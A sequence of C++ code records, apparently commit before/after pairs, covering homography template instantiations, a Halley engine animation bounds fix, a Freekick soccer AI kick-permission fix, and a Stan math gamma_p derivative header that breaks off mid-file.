homography_types.h\ntemplate class homography<timestamp, timestamp>;\ntemplate class homography<timestamp, plane_ref_t>;\ntemplate class homography<plane_ref_t, timestamp>;\ntemplate class homography<timestamp, utm_zone_t>;\ntemplate class homography<utm_zone_t, timestamp>;\ntemplate class homography<plane_ref_t, utm_zone_t>;\ntemplate class homography<utm_zone_t, plane_ref_t>;\n\ntemplate <typename Source, typename Shared, typename Dest>\nhomography<Source, Dest>\noperator * (homography<Shared, Dest> const& l, homography<Source, Shared> const& r)\n{\n homography<Source, Dest> result;\n\n result.set_transform(l.transform() * r.transform());\n result.set_source(r.source());\n result.set_destination(l.dest());\n result.set_valid(l.is_valid() && r.is_valid());\n\n return result;\n}\n\n#ifndef DOXYGEN_IGNORE\n\n\/**\n * \\def INSTANTIATE_SELF_MULT\n *\n * \\brief Instantiates multiplication with homogeneous types.\n *\n * \\param X The reference plane for the multiplication.\n *\/\n#define INSTANTIATE_SELF_MULT(X) \\\n template <> homography<X, X> operator * <X, X, X>(homography<X, X> const&, homography<X, X> const&)\n\n\/**\n * \\def INSTANTIATE_DUAL_MULT_RAW\n *\n * \\brief Instantiates multiplication with two distinct types.\n *\n * \\param X The first type in the multiplication.\n * \\param Y The second type in the multiplication.\n *\/\n#define INSTANTIATE_DUAL_MULT_RAW(X, Y) \\\n template <> homography<X, X> operator * <X, Y, X>(homography<Y, X> const&, homography<X, Y> const&); \\\n template <> homography<X, Y> operator * <X, X, Y>(homography<X, Y> const&, homography<X, X> const&); \\\n template <> homography<X, Y> operator * <X, Y, Y>(homography<Y, Y> const&, homography<X, Y> const&)\n\n\/**\n * \\def INSTANTIATE_DUAL_MULT\n *\n * \\brief Instantiates multiplication with two distinct types.\n *\n * This instantiates all permutations between the two types.\n *\n * \\param X The first type in the multiplication.\n * \\param Y The second type in the multiplication.\n *\/\n#define INSTANTIATE_DUAL_MULT(X, Y) \\\n INSTANTIATE_DUAL_MULT_RAW(X, Y); \\\n INSTANTIATE_DUAL_MULT_RAW(Y, X)\n\n\/**\n * \\def INSTANTIATE_TRIP_MULT_RAW\n *\n * \\brief Instantiates multiplication with three distinct types.\n *\n * \\param X The source type in the multiplication.\n * \\param Y The shared type in the multiplication.\n * \\param Z The destination type in the multiplication.\n *\/\n#define INSTANTIATE_TRIP_MULT_RAW(X,Y,Z) \\\n template <> homography<X, Z> operator * <X, Y, Z>(homography<Y, Z> const&, homography<X, Y> const&)\n\n\/**\n * \\def INSTANTIATE_TRIP_MULT\n *\n * \\brief Instantiates multiplication with three distinct types.\n *\n * This instantiates all permutations between the three types.\n *\n * \\param X The first type in the multiplication.\n * \\param Y The second type in the multiplication.\n * \\param Z The third type in the multiplication.\n *\/\n#define INSTANTIATE_TRIP_MULT(X,Y,Z) \\\n INSTANTIATE_TRIP_MULT_RAW(X, Y, Z); \\\n INSTANTIATE_TRIP_MULT_RAW(X, Z, Y); \\\n INSTANTIATE_TRIP_MULT_RAW(Y, X, Z); \\\n INSTANTIATE_TRIP_MULT_RAW(Y, Z, Y); \\\n INSTANTIATE_TRIP_MULT_RAW(Z, X, Y); \\\n INSTANTIATE_TRIP_MULT_RAW(Z, Y, X)\n\n\/\/ Instantiate all allowable types\nINSTANTIATE_SELF_MULT(timestamp);\nINSTANTIATE_SELF_MULT(plane_ref_t);\nINSTANTIATE_SELF_MULT(utm_zone_t);\n\nINSTANTIATE_DUAL_MULT(timestamp, plane_ref_t);\nINSTANTIATE_DUAL_MULT(timestamp, utm_zone_t);\nINSTANTIATE_DUAL_MULT(plane_ref_t, utm_zone_t);\n\nINSTANTIATE_TRIP_MULT(timestamp, plane_ref_t, utm_zone_t);\n\n#undef INSTANTIATE_SELF_MULT\n#undef INSTANTIATE_DUAL_MULT_RAW\n#undef INSTANTIATE_DUAL_MULT\n#undef INSTANTIATE_TRIP_MULT_RAW\n#undef INSTANTIATE_TRIP_MULT\n\n#endif \/\/ DOXYGEN_IGNORE\n\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"halley\/core\/graphics\/sprite\/animation.h\"\n#include \"halley\/core\/graphics\/sprite\/sprite_sheet.h\"\n#include \"halley\/core\/graphics\/material\/material.h\"\n#include \"halley\/core\/graphics\/material\/material_definition.h\"\n#include \"halley\/core\/graphics\/material\/material_parameter.h\"\n#include \"halley\/core\/api\/halley_api.h\"\n#include \"resources\/resources.h\"\n#include \"halley\/bytes\/byte_serializer.h\"\n#include <gsl\/gsl_assert>\n#include <utility>\n\nusing namespace Halley;\n\nAnimationFrame::AnimationFrame(int frameNumber, int duration, const String& imageName, const SpriteSheet& sheet, const Vector<AnimationDirection>& directions)\n\t: duration(duration)\n{\n\tconst size_t n = directions.size();\n\tsprites.resize(n);\n\tfor (size_t i = 0; i < n; i++) {\n\t\tsprites[i] = &sheet.getSprite(directions[i].needsToProcessFrameName(imageName) ? directions[i].getFrameName(frameNumber, imageName) : imageName);\n\t}\n}\n\nint AnimationFrame::getDuration() const\n{\n\treturn duration;\n}\n\nAnimationFrameDefinition::AnimationFrameDefinition()\n\t: frameNumber(-1)\n{}\n\nAnimationFrameDefinition::AnimationFrameDefinition(int frameNumber, int duration, String imageName)\n\t: imageName(std::move(imageName))\n\t, frameNumber(frameNumber)\n\t, duration(duration)\n{\n}\n\nAnimationFrame AnimationFrameDefinition::makeFrame(const SpriteSheet& sheet, const Vector<AnimationDirection>& directions) const\n{\n\treturn AnimationFrame(frameNumber, duration, imageName, sheet, directions);\n}\n\nvoid AnimationFrameDefinition::serialize(Serializer& s) const\n{\n\ts << imageName;\n\ts << frameNumber;\n\ts << duration;\n}\n\nvoid AnimationFrameDefinition::deserialize(Deserializer& s)\n{\n\ts >> imageName;\n\ts >> frameNumber;\n\ts >> duration;\n}\n\nAnimationSequence::AnimationSequence() {}\n\nAnimationSequence::AnimationSequence(String name, bool loop, bool noFlip)\n\t: name(std::move(name))\n\t, loop(loop)\n\t, noFlip(noFlip)\n{}\n\nvoid AnimationSequence::serialize(Serializer& s) const\n{\n\ts << frameDefinitions;\n\ts << name;\n\ts << loop;\n\ts << noFlip;\n}\n\nvoid AnimationSequence::deserialize(Deserializer& s)\n{\n\ts >> frameDefinitions;\n\ts >> name;\n\ts >> loop;\n\ts >> noFlip;\n}\n\nvoid AnimationSequence::addFrame(const AnimationFrameDefinition& animationFrameDefinition)\n{\n\tframeDefinitions.push_back(animationFrameDefinition);\n}\n\nRect4i AnimationSequence::getBounds() const\n{\n\tVector2i topLeft;\n\tVector2i bottomRight;\n\tfor (auto& frame: frames) {\n\t\tauto& sprite = frame.getSprite(0);\n\t\tif (sprite.size.x >= 0.1f && sprite.size.y > 0.0f) {\n\t\t\tauto offset = Vector2i(Vector2f(sprite.pivot * sprite.size).round());\n\t\t\tconst Vector2i tl = -offset;\n\t\t\tconst Vector2i br = Vector2i(sprite.size) - offset;\t\t\t\n\n\t\t\ttopLeft = Vector2i::min(topLeft, tl);\n\t\t\tbottomRight = Vector2i::max(bottomRight, br);\n\t\t}\n\t}\n\n\treturn Rect4i(topLeft, bottomRight);\n}\n\nAnimationDirection::AnimationDirection()\n\t: id(-1)\n\t, flip(false)\n{}\n\nAnimationDirection::AnimationDirection(String name, String fileName, bool flip, int id)\n\t: name(std::move(name))\n\t, fileName(std::move(fileName))\n\t, id(id)\n\t, flip(flip)\n{\n}\n\nbool AnimationDirection::needsToProcessFrameName(const String& baseName) const\n{\n\treturn baseName.find(\"%f\") != std::string::npos || baseName.find(\"%dir%\") != std::string::npos;\n}\n\nString AnimationDirection::getFrameName(int frameNumber, String baseName) const\n{\n\ttry {\n\t\tbaseName = baseName.replaceAll(\"%dir%\", fileName);\n\n\t\tsize_t frameToken = baseName.find(\"%f\");\n\t\tif (frameToken != std::string::npos) {\n\t\t\tsize_t endToken = baseName.find('%', frameToken + 1);\n\t\t\tif (endToken != std::string::npos) {\n\t\t\t\tint minWidth = 0;\n\t\t\t\tif (baseName[frameToken + 2] == ':' && baseName[frameToken + 3] == '0') {\n\t\t\t\t\tminWidth = baseName.subToInteger(frameToken + 4, endToken);\n\t\t\t\t}\n\n\t\t\t\tstd::stringstream ss;\n\t\t\t\tss << std::setfill('0') << std::setw(minWidth) << frameNumber;\n\t\t\t\tbaseName = baseName.left(frameToken) + ss.str() + baseName.mid(endToken + 1);\n\t\t\t}\n\t\t}\n\n\t\treturn baseName;\n\t} catch (...) {\n\t\tthrow Exception(\"Invalid frame name: \" + baseName, HalleyExceptions::Graphics);\n\t}\n}\n\nvoid AnimationDirection::serialize(Serializer& s) const\n{\n\ts << name;\n\ts << fileName;\n\ts << id;\n\ts << flip;\n}\n\nvoid AnimationDirection::deserialize(Deserializer& s)\n{\n\ts >> name;\n\ts >> fileName;\n\ts >> id;\n\ts >> flip;\n}\n\nAnimation::Animation() \n{}\n\nstd::unique_ptr<Animation> Animation::loadResource(ResourceLoader& loader)\n{\n\tauto result = std::make_unique<Animation>();\n\tauto sData = loader.getStatic();\n\tDeserializer s(sData->getSpan());\n\ts >> *result;\n\tresult->loadDependencies(loader);\n\treturn result;\n}\n\nvoid Animation::reload(Resource&& resource)\n{\n\t*this = std::move(dynamic_cast<Animation&>(resource));\n}\n\nvoid Animation::loadDependencies(ResourceLoader& loader)\n{\n\tspriteSheet = loader.getAPI().getResource<SpriteSheet>(spriteSheetName);\n\n\tauto matDef = loader.getAPI().getResource<MaterialDefinition>(materialName);\n\tmaterial = std::make_shared<Material>(matDef);\n\tmaterial->set(\"tex0\", spriteSheet->getTexture());\n\n\tfor (auto& s: sequences) {\n\t\tfor (auto& f : s.frameDefinitions) {\n\t\t\ts.frames.emplace_back(f.makeFrame(*spriteSheet, directions));\n\t\t}\n\t}\n}\n\nvoid Animation::setName(const String& n)\n{\n\tname = n;\n}\n\nvoid Animation::setMaterialName(const String& n)\n{\n\tmaterialName = n;\n}\n\nvoid Animation::setSpriteSheetName(const String& n)\n{\n\tspriteSheetName = n;\n}\n\nvoid Animation::addSequence(const AnimationSequence& sequence)\n{\n\tsequences.push_back(sequence);\n}\n\nvoid Animation::addDirection(const AnimationDirection& direction)\n{\n\tdirections.push_back(direction);\n}\n\nconst AnimationSequence& Animation::getSequence(const String& seqName) const\n{\n\tfor (auto& seq: sequences) {\n\t\tif (seq.name == seqName) {\n\t\t\treturn seq;\n\t\t}\n\t}\n\treturn sequences.at(0);\n}\n\nconst AnimationDirection& Animation::getDirection(const String& dirName) const\n{\n\tExpects(directions.size() > 0);\n\n\tfor (auto& dir : directions) {\n\t\tif (dir.name == dirName) {\n\t\t\treturn dir;\n\t\t}\n\t}\n\treturn directions[0];\n}\n\nconst AnimationDirection& Animation::getDirection(int id) const\n{\n\tExpects(id >= 0);\n\tExpects(directions.size() > 0);\n\n\tif (id < int(directions.size())) {\n\t\treturn directions[id];\n\t} else {\n\t\treturn directions[0];\n\t}\n}\n\nVector2i Animation::getPivot() const\n{\n\treturn sequences.at(0).getFrame(0).getSprite(0).origPivot;\n}\n\nbool Animation::hasSequence(const String& seqName) const\n{\n\tfor (auto& s: sequences) {\n\t\tif (s.getName() == seqName) {\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n}\n\nvoid Animation::serialize(Serializer& s) const\n{\n\ts << name;\n\ts << spriteSheetName;\n\ts << materialName;\n\ts << sequences;\n\ts << directions;\n}\n\nvoid Animation::deserialize(Deserializer& s)\n{\n\ts >> name;\n\ts >> spriteSheetName;\n\ts >> materialName;\n\ts >> sequences;\n\ts >> directions;\n}\n<commit_msg>Fix bounds calculation<commit_after>#include \"halley\/core\/graphics\/sprite\/animation.h\"\n#include \"halley\/core\/graphics\/sprite\/sprite_sheet.h\"\n#include \"halley\/core\/graphics\/material\/material.h\"\n#include \"halley\/core\/graphics\/material\/material_definition.h\"\n#include \"halley\/core\/graphics\/material\/material_parameter.h\"\n#include \"halley\/core\/api\/halley_api.h\"\n#include \"resources\/resources.h\"\n#include \"halley\/bytes\/byte_serializer.h\"\n#include <gsl\/gsl_assert>\n#include <utility>\n\nusing namespace Halley;\n\nAnimationFrame::AnimationFrame(int frameNumber, int duration, const String& imageName, const SpriteSheet& sheet, const Vector<AnimationDirection>& directions)\n\t: duration(duration)\n{\n\tconst size_t n = directions.size();\n\tsprites.resize(n);\n\tfor (size_t i = 0; i < n; i++) {\n\t\tsprites[i] = &sheet.getSprite(directions[i].needsToProcessFrameName(imageName) ? directions[i].getFrameName(frameNumber, imageName) : imageName);\n\t}\n}\n\nint AnimationFrame::getDuration() const\n{\n\treturn duration;\n}\n\nAnimationFrameDefinition::AnimationFrameDefinition()\n\t: frameNumber(-1)\n{}\n\nAnimationFrameDefinition::AnimationFrameDefinition(int frameNumber, int duration, String imageName)\n\t: imageName(std::move(imageName))\n\t, frameNumber(frameNumber)\n\t, duration(duration)\n{\n}\n\nAnimationFrame AnimationFrameDefinition::makeFrame(const SpriteSheet& sheet, const Vector<AnimationDirection>& directions) const\n{\n\treturn AnimationFrame(frameNumber, duration, imageName, sheet, directions);\n}\n\nvoid AnimationFrameDefinition::serialize(Serializer& s) const\n{\n\ts << imageName;\n\ts << frameNumber;\n\ts << duration;\n}\n\nvoid AnimationFrameDefinition::deserialize(Deserializer& s)\n{\n\ts >> imageName;\n\ts >> frameNumber;\n\ts >> duration;\n}\n\nAnimationSequence::AnimationSequence() {}\n\nAnimationSequence::AnimationSequence(String name, bool loop, bool noFlip)\n\t: name(std::move(name))\n\t, loop(loop)\n\t, noFlip(noFlip)\n{}\n\nvoid AnimationSequence::serialize(Serializer& s) const\n{\n\ts << frameDefinitions;\n\ts << name;\n\ts << loop;\n\ts << noFlip;\n}\n\nvoid AnimationSequence::deserialize(Deserializer& s)\n{\n\ts >> frameDefinitions;\n\ts >> name;\n\ts >> loop;\n\ts >> noFlip;\n}\n\nvoid AnimationSequence::addFrame(const AnimationFrameDefinition& animationFrameDefinition)\n{\n\tframeDefinitions.push_back(animationFrameDefinition);\n}\n\nRect4i AnimationSequence::getBounds() const\n{\n\tVector2i topLeft(99999, 99999);\n\tVector2i bottomRight;\n\tfor (auto& frame: frames) {\n\t\tauto& sprite = frame.getSprite(0);\n\t\tif (sprite.size.x >= 0.1f && sprite.size.y > 0.0f) {\n\t\t\tauto offset = Vector2i(Vector2f(sprite.pivot * sprite.size).round());\n\t\t\tconst Vector2i tl = -offset;\n\t\t\tconst Vector2i br = tl + Vector2i(sprite.size);\n\n\t\t\ttopLeft = Vector2i::min(topLeft, tl);\n\t\t\tbottomRight = Vector2i::max(bottomRight, br);\n\t\t}\n\t}\n\n\treturn Rect4i(topLeft, bottomRight);\n}\n\nAnimationDirection::AnimationDirection()\n\t: id(-1)\n\t, flip(false)\n{}\n\nAnimationDirection::AnimationDirection(String name, String fileName, bool flip, int id)\n\t: name(std::move(name))\n\t, fileName(std::move(fileName))\n\t, id(id)\n\t, flip(flip)\n{\n}\n\nbool AnimationDirection::needsToProcessFrameName(const String& baseName) const\n{\n\treturn baseName.find(\"%f\") != std::string::npos || baseName.find(\"%dir%\") != std::string::npos;\n}\n\nString AnimationDirection::getFrameName(int frameNumber, String baseName) const\n{\n\ttry {\n\t\tbaseName = baseName.replaceAll(\"%dir%\", fileName);\n\n\t\tsize_t frameToken = baseName.find(\"%f\");\n\t\tif (frameToken != std::string::npos) {\n\t\t\tsize_t endToken = baseName.find('%', frameToken + 1);\n\t\t\tif (endToken != std::string::npos) {\n\t\t\t\tint minWidth = 0;\n\t\t\t\tif (baseName[frameToken + 2] == ':' && baseName[frameToken + 3] == '0') {\n\t\t\t\t\tminWidth = baseName.subToInteger(frameToken + 4, endToken);\n\t\t\t\t}\n\n\t\t\t\tstd::stringstream ss;\n\t\t\t\tss << std::setfill('0') << std::setw(minWidth) << frameNumber;\n\t\t\t\tbaseName = baseName.left(frameToken) + ss.str() + baseName.mid(endToken + 1);\n\t\t\t}\n\t\t}\n\n\t\treturn baseName;\n\t} catch (...) {\n\t\tthrow Exception(\"Invalid frame name: \" + baseName, HalleyExceptions::Graphics);\n\t}\n}\n\nvoid AnimationDirection::serialize(Serializer& s) const\n{\n\ts << name;\n\ts << fileName;\n\ts << id;\n\ts << flip;\n}\n\nvoid AnimationDirection::deserialize(Deserializer& s)\n{\n\ts >> name;\n\ts >> fileName;\n\ts >> id;\n\ts >> flip;\n}\n\nAnimation::Animation() \n{}\n\nstd::unique_ptr<Animation> Animation::loadResource(ResourceLoader& loader)\n{\n\tauto result = std::make_unique<Animation>();\n\tauto sData = loader.getStatic();\n\tDeserializer s(sData->getSpan());\n\ts >> *result;\n\tresult->loadDependencies(loader);\n\treturn result;\n}\n\nvoid Animation::reload(Resource&& resource)\n{\n\t*this = std::move(dynamic_cast<Animation&>(resource));\n}\n\nvoid Animation::loadDependencies(ResourceLoader& loader)\n{\n\tspriteSheet = loader.getAPI().getResource<SpriteSheet>(spriteSheetName);\n\n\tauto matDef = loader.getAPI().getResource<MaterialDefinition>(materialName);\n\tmaterial = std::make_shared<Material>(matDef);\n\tmaterial->set(\"tex0\", spriteSheet->getTexture());\n\n\tfor (auto& s: sequences) {\n\t\tfor (auto& f : s.frameDefinitions) {\n\t\t\ts.frames.emplace_back(f.makeFrame(*spriteSheet, directions));\n\t\t}\n\t}\n}\n\nvoid Animation::setName(const String& n)\n{\n\tname = n;\n}\n\nvoid Animation::setMaterialName(const String& n)\n{\n\tmaterialName = n;\n}\n\nvoid Animation::setSpriteSheetName(const String& n)\n{\n\tspriteSheetName = n;\n}\n\nvoid Animation::addSequence(const AnimationSequence& sequence)\n{\n\tsequences.push_back(sequence);\n}\n\nvoid Animation::addDirection(const AnimationDirection& direction)\n{\n\tdirections.push_back(direction);\n}\n\nconst AnimationSequence& Animation::getSequence(const String& seqName) const\n{\n\tfor (auto& seq: sequences) {\n\t\tif (seq.name == seqName) {\n\t\t\treturn seq;\n\t\t}\n\t}\n\treturn sequences.at(0);\n}\n\nconst AnimationDirection& Animation::getDirection(const String& dirName) const\n{\n\tExpects(directions.size() > 0);\n\n\tfor (auto& dir : directions) {\n\t\tif (dir.name == dirName) {\n\t\t\treturn dir;\n\t\t}\n\t}\n\treturn directions[0];\n}\n\nconst AnimationDirection& Animation::getDirection(int id) const\n{\n\tExpects(id >= 0);\n\tExpects(directions.size() > 0);\n\n\tif (id < int(directions.size())) {\n\t\treturn directions[id];\n\t} else {\n\t\treturn directions[0];\n\t}\n}\n\nVector2i Animation::getPivot() const\n{\n\treturn sequences.at(0).getFrame(0).getSprite(0).origPivot;\n}\n\nbool Animation::hasSequence(const String& seqName) const\n{\n\tfor (auto& s: sequences) {\n\t\tif (s.getName() == seqName) {\n\t\t\treturn true;\n\t\t}\n\t}\n\treturn false;\n}\n\nvoid Animation::serialize(Serializer& s) const\n{\n\ts << name;\n\ts << spriteSheetName;\n\ts << materialName;\n\ts << sequences;\n\ts << directions;\n}\n\nvoid Animation::deserialize(Deserializer& s)\n{\n\ts >> name;\n\ts >> spriteSheetName;\n\ts >> materialName;\n\ts >> sequences;\n\ts >> directions;\n}\n<|endoftext|>"} {"text":"<commit_before>\/************************************************************************\n This file is part of Freekick.\n\n Freekick is free software: you can redistribute it and\/or modify\n it under the terms of the GNU Affero General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n Freekick is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU Affero General Public License for more details.\n\n You should have received a copy of the GNU Affero General Public License\n along with Freekick. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n Copyright Antti Salonen, 2008\n**************************************************************************\/\n\n#include \"tasks\/PlaySoccer.h\"\n\nnamespace freekick \n{ \n namespace match\n {\n namespace client\n {\n namespace ai_client\n {\n namespace tasks\n {\n PlaySoccer::PlaySoccer (boost::shared_ptr<MatchStatus> ms, int id)\n : mMatchStatus(ms),\n mPlayerID(id)\n {\n mPlayer = mMatchStatus->getPlayer(mPlayerID);\n }\n\n bool PlaySoccer::finished() const\n {\n const BallState bs = mMatchStatus->getBallState();\n if(bs.bio_type == HalfFullTime || bs.bio_type == PreKickoff)\n {\n return true;\n }\n return false;\n }\n\n boost::shared_ptr<messages::PlayerControlMessage> PlaySoccer::process()\n {\n if(mPlayer->isSubstitute())\n {\n \/\/ TODO: replace with BeingASubstituteTask\n if(emptyTasks())\n {\n boost::shared_ptr<Idle> t(new Idle(mPlayerID));\n addTask(t);\n }\n }\n\n else\n {\n Helpers h(mMatchStatus, mPlayerID);\n clearTasks();\n\n if(!emptyTasks())\n {\n \/\/ TODO: check if current task should be cleared\n clearTasks();\n }\n\n if(h.bio == BallIn && mPlayer->getPlayerPosition() == Goalkeeper)\n {\n boost::shared_ptr<GoalkeeperAction> t(new GoalkeeperAction(mMatchStatus, mPlayerID));\n addTask(t);\n }\n else\n {\n if(h.iskickoff && !h.startplay) \/\/ goto start formation\n {\n boost::shared_ptr<GotoKickoffFormationPosition> t(new GotoKickoffFormationPosition(mMatchStatus, mPlayerID));\n addTask(t);\n }\n else\n {\n if((h.isnearestplayer || h.ballinmyarea) && h.allowed_to_kick)\n {\n if(h.abletokick)\n {\n boost::shared_ptr<KickBall> t(new KickBall(mMatchStatus, mPlayerID));\n addTask(t);\n }\n else\n {\n if(h.ourclubhasball) \/\/ run to ball\n {\n boost::shared_ptr<FetchBall> t(new FetchBall(mMatchStatus, mPlayerID));\n addTask(t);\n }\n else \/\/ defensive\n {\n boost::shared_ptr<FetchBall> t(new FetchBall(mMatchStatus, mPlayerID));\n addTask(t);\n }\n }\n }\n else\n {\n addutil::Vector3 future_pos = mMatchStatus->getBall()->getFuturePosition(AIConfig::getInstance()->future_lookup_time);\n future_pos.y = 0.0f;\n float future_dist = (mPlayer->getPosition() - future_pos).length();\n if(future_dist < AIConfig::getInstance()->max_future_fetch_distance)\n {\n boost::shared_ptr<FetchBall> t(new FetchBall(mMatchStatus, mPlayerID));\n addTask(t);\n }\n else\n {\n boost::shared_ptr<IdleInFormation> t(new IdleInFormation(mMatchStatus, mPlayerID));\n addTask(t);\n }\n }\n }\n }\n }\n\n boost::shared_ptr<Task> nexttask = getNextTask();\n boost::shared_ptr<messages::PlayerControlMessage> msg = nexttask->process();\n return msg;\n }\n }\n }\n }\n }\n}\n<commit_msg>ai: fixed issue of ai trying to kick ball when not allowed<commit_after>\/************************************************************************\n This file is part of Freekick.\n\n Freekick is free software: you can redistribute it and\/or modify\n it under the terms of the GNU Affero General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n Freekick is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU Affero General Public License for more details.\n\n You should have received a copy of the GNU Affero General Public License\n along with Freekick. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\n Copyright Antti Salonen, 2008\n**************************************************************************\/\n\n#include \"tasks\/PlaySoccer.h\"\n\nnamespace freekick \n{ \n namespace match\n {\n namespace client\n {\n namespace ai_client\n {\n namespace tasks\n {\n PlaySoccer::PlaySoccer (boost::shared_ptr<MatchStatus> ms, int id)\n : mMatchStatus(ms),\n mPlayerID(id)\n {\n mPlayer = mMatchStatus->getPlayer(mPlayerID);\n }\n\n bool PlaySoccer::finished() const\n {\n const BallState bs = mMatchStatus->getBallState();\n if(bs.bio_type == HalfFullTime || bs.bio_type == PreKickoff)\n {\n return true;\n }\n return false;\n }\n\n boost::shared_ptr<messages::PlayerControlMessage> PlaySoccer::process()\n {\n if(mPlayer->isSubstitute())\n {\n \/\/ TODO: replace with BeingASubstituteTask\n if(emptyTasks())\n {\n boost::shared_ptr<Idle> t(new Idle(mPlayerID));\n addTask(t);\n }\n }\n\n else\n {\n Helpers h(mMatchStatus, mPlayerID);\n clearTasks();\n\n if(!emptyTasks())\n {\n \/\/ TODO: check if current task should be cleared\n clearTasks();\n }\n\n if(h.bio == BallIn && mPlayer->getPlayerPosition() == Goalkeeper)\n {\n boost::shared_ptr<GoalkeeperAction> t(new GoalkeeperAction(mMatchStatus, mPlayerID));\n addTask(t);\n }\n else\n {\n if(h.iskickoff && !h.startplay) \/\/ goto start formation\n {\n boost::shared_ptr<GotoKickoffFormationPosition> t(new GotoKickoffFormationPosition(mMatchStatus, mPlayerID));\n addTask(t);\n }\n else\n {\n if((h.isnearestplayer || h.ballinmyarea) && h.allowed_to_kick)\n {\n if(h.abletokick)\n {\n boost::shared_ptr<KickBall> t(new KickBall(mMatchStatus, mPlayerID));\n addTask(t);\n }\n else\n {\n if(h.ourclubhasball) \/\/ run to ball\n {\n boost::shared_ptr<FetchBall> t(new FetchBall(mMatchStatus, mPlayerID));\n addTask(t);\n }\n else \/\/ defensive\n {\n boost::shared_ptr<FetchBall> t(new FetchBall(mMatchStatus, mPlayerID));\n addTask(t);\n }\n }\n }\n else\n {\n addutil::Vector3 future_pos = mMatchStatus->getBall()->getFuturePosition(AIConfig::getInstance()->future_lookup_time);\n future_pos.y = 0.0f;\n float future_dist = (mPlayer->getPosition() - future_pos).length();\n if(h.allowed_to_kick && future_dist < AIConfig::getInstance()->max_future_fetch_distance)\n {\n boost::shared_ptr<FetchBall> t(new FetchBall(mMatchStatus, mPlayerID));\n addTask(t);\n }\n else\n {\n boost::shared_ptr<IdleInFormation> t(new IdleInFormation(mMatchStatus, mPlayerID));\n addTask(t);\n }\n }\n }\n }\n }\n\n boost::shared_ptr<Task> nexttask = getNextTask();\n boost::shared_ptr<messages::PlayerControlMessage> msg = nexttask->process();\n return msg;\n }\n }\n }\n }\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#ifndef STAN_MATH_FWD_SCAL_FUN_GAMMA_P_HPP\n#define STAN_MATH_FWD_SCAL_FUN_GAMMA_P_HPP\n\n#include <stan\/math\/fwd\/core.hpp>\n#include <stan\/math\/fwd\/scal\/fun\/value_of_rec.hpp>\n#include <stan\/math\/prim\/scal\/err\/domain_error.hpp>\n#include <stan\/math\/prim\/scal\/fun\/gamma_p.hpp>\n#include <stan\/math\/prim\/scal\/fun\/lgamma.hpp>\n#include <stan\/math\/prim\/scal\/fun\/grad_reg_lower_inc_gamma.hpp>\n#include <limits>\n\nnamespace stan {\nnamespace math {\n\ntemplate <typename T>\ninline fvar<T> gamma_p(const fvar<T> &x1, const fvar<T> &x2) {\n using boost::math::digamma;\n using std::exp;\n using std::fabs;\n using std::log;\n using std::pow;\n\n T u = gamma_p(x1.val_, x2.val_);\n if (is_inf(x1.val_))\n return fvar<T>(u, std::numeric_limits<double>::quiet_NaN());\n if (is_inf(x2.val_))\n return fvar<T>(u, std::numeric_limits<double>::quiet_NaN());\n\n T der1 = grad_reg_lower_inc_gamma(x1.val_, x2.val_, 1.0e-10);\n T der2 = exp(-x2.val_ + (x1.val_ - 1.0) * log(x2.val_) - lgamma(x1.val_));\n\n return fvar<T>(u, x1.d_ * der1 + x2.d_ * der2);\n}\n\ntemplate <typename T>\ninline fvar<T> gamma_p(const fvar<T> &x1, double x2) {\n using boost::math::digamma;\n using std::exp;\n using std::fabs;\n using std::log;\n using std::pow;\n\n T u = gamma_p(x1.val_, x2);\n if (is_inf(x1.val_))\n return fvar<T>(u, std::numeric_limits<double>::quiet_NaN());\n if (is_inf(x2))\n return fvar<T>(u, std::numeric_limits<double>::quiet_NaN());\n\n T der1 = grad_reg_lower_inc_gamma(x1.val_, x2, 1.0e-10);\n\n return fvar<T>(u, x1.d_ * der1);\n}\n\ntemplate <typename T>\ninline fvar<T> gamma_p(double x1, const fvar<T> &x2) {\n using std::exp;\n using std::log;\n\n T u = gamma_p(x1, x2.val_);\n if (is_inf(x1))\n return fvar<T>(u, std::numeric_limits<double>::quiet_NaN());\n\n T der2 = exp(-x2.val_ + (x1 - 1.0) * log(x2.val_) - stan::math::lgamma(x1));\n\n return fvar<T>(u, x2.d_ * der2);\n}\n} \/\/ namespace math\n} \/\/ namespace stan\n#endif\n<commit_msg>Remove unnecessary namespace qualification<commit_after>#ifndef STAN_MATH_FWD_SCAL_FUN_GAMMA_P_HPP\n#define STAN_MATH_FWD_SCAL_FUN_GAMMA_P_HPP\n\n#include <stan\/math\/fwd\/core.hpp>\n#include <stan\/math\/fwd\/scal\/fun\/value_of_rec.hpp>\n#include <stan\/math\/prim\/scal\/err\/domain_error.hpp>\n#include <stan\/math\/prim\/scal\/fun\/gamma_p.hpp>\n#include <stan\/math\/prim\/scal\/fun\/lgamma.hpp>\n#include <stan\/math\/prim\/scal\/fun\/grad_reg_lower_inc_gamma.hpp>\n#include <limits>\n\nnamespace stan {\nnamespace math {\n\ntemplate <typename T>\ninline fvar<T> gamma_p(const fvar<T> &x1, const fvar<T> &x2) {\n using boost::math::digamma;\n using std::exp;\n using std::fabs;\n using std::log;\n using std::pow;\n\n T u = gamma_p(x1.val_, x2.val_);\n if (is_inf(x1.val_))\n return fvar<T>(u, std::numeric_limits<double>::quiet_NaN());\n if (is_inf(x2.val_))\n return fvar<T>(u, std::numeric_limits<double>::quiet_NaN());\n\n T der1 = grad_reg_lower_inc_gamma(x1.val_, x2.val_, 1.0e-10);\n T der2 = exp(-x2.val_ + (x1.val_ - 1.0) * log(x2.val_) - lgamma(x1.val_));\n\n return fvar<T>(u, x1.d_ * der1 + x2.d_ * der2);\n}\n\ntemplate <typename T>\ninline fvar<T> gamma_p(const fvar<T> &x1, double x2) {\n using boost::math::digamma;\n using std::exp;\n using std::fabs;\n using std::log;\n using std::pow;\n\n T u = gamma_p(x1.val_, x2);\n if (is_inf(x1.val_))\n return fvar<T>(u, std::numeric_limits<double>::quiet_NaN());\n if (is_inf(x2))\n return fvar<T>(u, std::numeric_limits<double>::quiet_NaN());\n\n T der1 = 